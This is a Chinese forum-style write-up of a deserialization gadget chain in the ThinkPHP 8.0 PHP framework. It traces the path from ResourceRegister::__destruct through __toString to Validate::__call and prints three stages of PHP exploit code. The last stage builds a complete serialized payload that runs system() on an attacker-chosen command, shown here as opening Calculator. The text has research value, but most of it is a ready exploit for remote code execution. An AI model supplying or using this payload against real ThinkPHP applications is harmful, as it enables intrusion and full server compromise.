前言

去年暑假,ThinkPHP发布了8.0版本。当时也是尝试着挖掘一条反序列化调用链,相比ThinkPHP 6,不少类做了变动,外加上还做了declare (strict_types = 1);的限制,让利用变的有些许的难。

最近还是将这个任务重新捡了起来,最后也是成功找到了一条调用链并成功利用,这里就分享成功利用的部分。

环境说明

官方手册:https://doc.thinkphp.cn/v8_0/preface.html

此外ThinkPHP提高了PHP版本要求,PHP版本需要使用PHP8以上。根据官方文档下载好后添加一个反序列化入口就好

反序列化调用链

source点选择

反序列化起点无非是destruct或wakeup方法,wakeup一般用于作对象初始化,多选择destruct方法作为起点

全局一找,发现仅有两个可选

先看第一个,这是应该是给数据库关闭链接用的,定义在Connection抽象类中,该类实现ConnectionInterface接口,__destruct方法调用的是接口中的close方法,这里想利用需要寻找其子类

这两个类的close方法都是些赋值语句,不适合作为source点

所以只能将目光放在ResourceRegister#__destruct方法上

sink点选择

大多框架的反序列化sink点会选择call方法,一般可能的危险操作都在call方法上,当然也要找变量可控较多且可利用的(method大多不可控了)

这里我选的think\Validate#__call,也是ThinkPHP6反序列化调用链中会选的sink,当然应该也可以选别个

调用链挖掘

选好了sink和source,这样就不会像无头苍蝇,在调用链选择上尽量往我们的sink点靠就好啦,这里先做简单理论

先从source点开始跟

registered可控,为false会调用register方法

resource可控,可以看到这里就能尝试去触发call方法,但是getRule方法是无参的,没有办法控制call方法中的$args参数

这里选择往下调用parseGroupRule方法,getRule方法返回值可控,该方法下个人感觉可利用的点不多,但可以利用字符串拼接触发__toString(由于做了类型限制,就不能选择一些字符串处理函数来触发)

rest、last、option都是可控的,这里可以通过字符串拼接的方式触发__toString

下面就是toString的选择,能用的也不多,这里我选的是think\model\concern\Conversion#toString方法

一路走过来会调用appendAttrToArray方法

这里我选择在getRelationWith方法中触发__call方法

重点在$relation以及$visible[$key]的控制,后面再讲诉

那这里自然而然就能调用到__call方法,也就是我们的sink点

这里贴一个我成功利用的调用栈

最后在匿名函数通过call_user_func_array实现代码执行

type也是可控的

构造exp

我喜欢边构造边调试分析,先从source开始

registered默认为false,可以不管,前面我说到了我们要利用parseGroupRule方法,我们需要构建一个think\route\Resource对象

先简单构造一下进行调试

首先$rule不能为null,last来源于$rule分割后的最后一个元素

同理$name和$rest也是,否则都是利用不了滴,还用确保不被continue,不处理$option['only']就行

利用条件$val[1]需要包含<id>,且$option['var'][$last]不为空,这里就是我们要触发的__toString所对应的对象

于是构造出

<?php
namespace think\route{
    class ResourceRegister{
        public $resource;

        public function __construct($resource) {
            $this->resource = $resource;
        }
    }

    class RuleGroup extends Rule{
        public function __construct($rule, $router, $option){
            parent::__construct($rule, $router, $option);
        }
    }

    class Resource extends RuleGroup{
        public function __construct($rule, $router, $option){
            parent::__construct($rule, $router, $option);
        }

    }

    abstract class Rule{
        public $rest = ['key' => [1 => '<id>']];
        public $name = "name";
        public $rule;
        public $router;
        public $option;

        public function __construct($rule, $router, $option){
            $this->rule = $rule;
            $this->router = $router;
            $this->option = ['var' => ['nivia' => $option]];
        }
    }
}

namespace think {
    class Route{}
    abstract class Model{
        protected $append = ['Nivia' => "1.2"];
    }
}

namespace think\model{
    use think\Model;
    class Pivot extends Model{}
}

namespace {
    $option = new think\model\Pivot;
    $router = new think\Route;
    $resource = new think\route\Resource("abc.nivia", $router , $option);
    $resourceRegister = new think\route\ResourceRegister($resource);
    echo urlencode(base64_encode(serialize($resourceRegister)));
}

往下到think\model\concern\Conversion#__toString方法,个人认为这里比较恶心

中间会调用appendAttrToArray方法,方法中还会调用getRelationWith方法,在这里有机会触发__call方法

关键在$relation和$visible[$key]的控制

首先是$visible变量

可以发现其第一层else语句中的赋值语句满足我们的要求,$this->visible可控,仅要求$val不能是字符串

接下来看$relation,其变量来源于getRelation方法,受key影响

$this->relation可控,key也可控但不为null,可以在第二个return中返回我们想要的值

那就根据上述要求构造下一步exp,其中有一个点是刚才提到的$val不能是字符串,我首先想到的是用数组代替,根据一些相关要求有如下exp

<?php
namespace think\route{
    class ResourceRegister{
        public $resource;

        public function __construct($resource) {
            $this->resource = $resource;
        }
    }

    class RuleGroup extends Rule{
        public function __construct($rule, $router, $option){
            parent::__construct($rule, $router, $option);
        }
    }

    class Resource extends RuleGroup{
        public function __construct($rule, $router, $option){
            parent::__construct($rule, $router, $option);
        }

    }

    abstract class Rule{
        public $rest = ['key' => [1 => '<id>']];
        public $name = "name";
        public $rule;
        public $router;
        public $option;

        public function __construct($rule, $router, $option){
            $this->rule = $rule;
            $this->router = $router;
            $this->option = ['var' => ['nivia' => $option]];
        }
    }
}

namespace think {
    class Route{}
    abstract class Model{
        private $relation;
        protected $append = ['Nivia' => "1.2"];

        protected $visible;

        public function __construct($visible, $call){
            $this->visible = [1 => $visible];
            $this->relation = ['1' => $call];
        }
    }

    class Validate{}
}

namespace think\model{
    use think\Model;
    class Pivot extends Model{

    }
}

namespace {
    $call = new think\Validate;
    $option = new think\model\Pivot(['ls'], $call);
    $router = new think\Route;
    $resource = new think\route\Resource("abc.nivia", $router , $option);
    $resourceRegister = new think\route\ResourceRegister($resource);
    echo urlencode(base64_encode(serialize($resourceRegister)));
}

最后也是成功调用到think\Validate#__call方法,方法会调用is方法

$this->type可控,$rule为调用触发__call的方法名,$value其实就是前面的$val

这里会有一个问题就是这里的$value其实就是传给$this->type[$rule]的参数了,但$value前面分析过了它不能是字符串,本来想通过ReflectionFunction#invokeArgs来实现命令执行,且刚好invokeArgs接收一个数组类型的参数,但ReflectionFunction不允许被序列化和反序列化

最后想到可以通过类的toString进行替换,在toString中返回我们想要的命令。

最终exp

<?php
namespace think\route{
    class ResourceRegister{
        public $resource;

        public function __construct($resource) {
            $this->resource = $resource;
        }
    }

    class RuleGroup extends Rule{
        public function __construct($rule, $router, $option){
            parent::__construct($rule, $router, $option);
        }
    }

    class Resource extends RuleGroup{
        public function __construct($rule, $router, $option){
            parent::__construct($rule, $router, $option);
        }

    }

    abstract class Rule{
        public $rest = ['key' => [1 => '<id>']];
        public $name = "name";
        public $rule;
        public $router;
        public $option;

        public function __construct($rule, $router, $option){
            $this->rule = $rule;
            $this->router = $router;
            $this->option = ['var' => ['nivia' => $option]];
        }
    }
}

namespace think {
    class Route{}
    abstract class Model{
        private $relation;
        protected $append = ['Nivia' => "1.2"];

        protected $visible;
        public function __construct($visible, $call){
            $this->visible = [1 => $visible];
            $this->relation = ['1' => $call];
        }
    }

    class Validate{
        protected $type;

        public function __construct(){
            $this->type = ['visible' => "system"];//function
        }
    }
}

namespace think\model{
    use think\Model;
    class Pivot extends Model{
        public function __construct($visible, $call){
            parent::__construct($visible, $call);
        }
    }
}

namespace Symfony\Component\VarDumper\Caster{
    use Symfony\Component\VarDumper\Cloner\Stub;
    class ConstStub extends Stub{}
}

namespace Symfony\Component\VarDumper\Cloner{
    class Stub{
        public $value = "open -a Calculator"; //cmd
    }
}

namespace {
    $call = new think\Validate;
    $option = new think\model\Pivot(new Symfony\Component\VarDumper\Caster\ConstStub, $call);
    $router = new think\Route;
    $resource = new think\route\Resource("abc.nivia", $router , $option);
    $resourceRegister = new think\route\ResourceRegister($resource);
    echo urlencode(base64_encode(serialize($resourceRegister)));
}

结语

乍一看发现调用链似乎没这么难,但过程还是比较艰辛,中间也遇到很多坑,似乎感觉不可能,也尝试了很多种想法。也是体验了一把挖掘的感觉

点击收藏 | 4 关注 | 3 打赏
登录 后跟帖